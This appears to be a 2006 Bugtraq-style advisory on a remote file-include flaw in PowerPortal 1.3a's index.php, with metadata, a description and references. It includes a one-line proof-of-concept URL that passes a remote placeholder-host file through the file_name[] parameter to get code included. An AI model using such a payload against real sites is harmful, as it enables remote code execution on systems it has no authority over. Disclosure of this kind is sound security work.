PowerPortal Index.PHP Remote File Include Vulnerability

Bugtraq ID:	20262
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 29 2006 12:00AM
Updated:	Sep 29 2006 07:35PM
Credit:	v1per-haCker is credited with the discovery of this vulnerability.
Vulnerable:	PowerPortal PowerPortal 1.3.a
Not Vulnerable:

PowerPortal Index.PHP Remote File Include Vulnerability

PowerPortal is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

PowerPortal version 1.3a is vulnerable to this issue.

PowerPortal Index.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept is available:

http://www.example.com/path_to_PowerPortal/index.php?file_name[]=http://www.example.com/examplecode.txt?

PowerPortal Index.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PowerPortal Index.PHP Remote File Include Vulnerability

References:

• PowerPortal HomePage (PowerPortal)
  
• PowerPortal Remote File Include (v1per-haCker)